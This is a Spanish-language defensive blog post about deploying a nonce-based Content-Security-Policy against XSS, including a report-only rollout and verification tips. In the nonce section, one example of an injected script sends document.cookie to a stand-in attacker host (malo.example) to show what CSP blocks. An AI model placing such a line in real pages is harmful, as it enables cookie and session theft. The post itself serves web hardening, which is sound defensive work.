← Blog
// BLUE TEAM · APPSEC

CSP en la práctica: una Content-Security-Policy que frena el XSS sin romper tu web

Publicado el 10 ago 2026 · 9 min de lectura
CSPXSSCabecerasHardeningWeb

Una Content-Security-Policy (CSP) es tu última línea de defensa contra el XSS: aunque a un atacante se le cuele un <script> en tu página, una CSP bien hecha impide que el navegador lo ejecute. El problema es que casi todas las CSP que se ven en producción están en uno de dos extremos: son tan permisivas que no bloquean nada, o rompen la web y acaban desactivadas. Vamos a montar una que de verdad sirva.

Qué hace exactamente

La CSP es una cabecera HTTP que declara, por tipo de recurso, desde qué orígenes puede cargar el navegador: script-src para scripts, style-src para estilos, img-src para imágenes, connect-src para fetch/XHR/WebSocket… La clave está en los scripts: con script-src 'self', el navegador se niega a ejecutar scripts en línea y scripts de otros orígenes. Ese rechazo del código en línea es el núcleo anti-XSS, porque el XSS reflejado y almacenado casi siempre inyecta código en línea.

El error que la deja inútil

El 90% de las CSP rotas se «arreglan» añadiendo 'unsafe-inline' a script-src. Y con eso vuelves a permitir exactamente lo que la CSP bloqueaba: el código en línea, incluido el que inyecta el atacante. Una política como esta da una falsa sensación de seguridad:

Content-Security-Policy: script-src 'self' 'unsafe-inline'
⚠️ Contra el XSS, script-src 'self' 'unsafe-inline' no hace nada. Si tu CSP lleva 'unsafe-inline' en script-src, para efectos prácticos no tienes CSP.

La forma correcta: nonces

Un nonce es un token aleatorio que el servidor genera en cada respuesta. Lo pones en la cabecera y en cada <script> legítimo de la página. El navegador solo ejecuta los scripts que llevan ese nonce; el código que inyecte un atacante no lo conoce, así que queda bloqueado:

# El servidor genera algo como: nZ2spB9v...  (aleatorio, por petición)
Content-Security-Policy: script-src 'nonce-nZ2spB9v' 'strict-dynamic'
<!-- este se ejecuta -->
<script nonce="nZ2spB9v">initApp();</script>

<!-- inyectado por el atacante: sin nonce, el navegador lo bloquea -->
<script>fetch('https://malo.example/'+document.cookie)</script>

'strict-dynamic' es el complemento moderno: permite que un script ya de confianza (el que lleva nonce) cargue a su vez otros scripts, sin que tengas que ir enumerando dominios de CDN uno a uno. Es el patrón recomendado hoy y hace que la política no dependa de listas blancas frágiles.

🧱 Para construirla dirección a dirección sin pelearte con la sintaxis, el Constructor de CSP te arma la cabecera por directivas, te avisa de las opciones débiles ('unsafe-inline', 'unsafe-eval', comodines *) y trae presets estrictos listos para copiar.

Las directivas que importan

Despliega sin romper nada

No pongas una CSP nueva directa en modo bloqueo. Primero en modo informe: el navegador te reporta lo que habría bloqueado, pero no bloquea nada. Recoges las violaciones, ajustas, y solo entonces la haces obligatoria.

# Fase 1: observa sin romper
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp-endpoint

# Fase 2 (cuando ya no haya falsos positivos): cambia la cabecera a
Content-Security-Policy: default-src 'self'; ...

Lo que te va a romper (y cómo se arregla)

🛡️ Un dato: esta misma web corre una CSP estricta basada en nonces, sin 'unsafe-inline' en script-src. Por eso, si miras el HTML de CyberEscudo, no encontrarás ni un solo onclick=: todo va por addEventListener. Predicar con el ejemplo obliga a escribir mejor JavaScript.

Verifícala

Dos comprobaciones rápidas. En el navegador, abre la consola: cada recurso bloqueado deja un aviso de Refused to load/execute con la directiva culpable. Y para una auditoría de la cabecera —sin instalar nada— pega tu dominio en el analizador:

📋 El Analizador de Cabeceras HTTP consulta las cabeceras de seguridad de tu web (CSP, HSTS, X-Content-Type-Options, Referrer-Policy…), señala las que faltan o son débiles y te da una nota. Ideal para confirmar que tu CSP llegó bien a producción.

Checklist

Una CSP no sustituye a escapar la salida ni a validar la entrada: es la red que te salva cuando algo se cuela. Y montada por nonces, con diez líneas de cabecera conviertes un XSS explotable en un intento que el navegador tira a la basura.

Comparte: LinkedIn X
Sergio Belmonte Morales
Sergio Belmonte Morales
Analista de Ciberseguridad · SOC · Especialista en Sentinel/KQL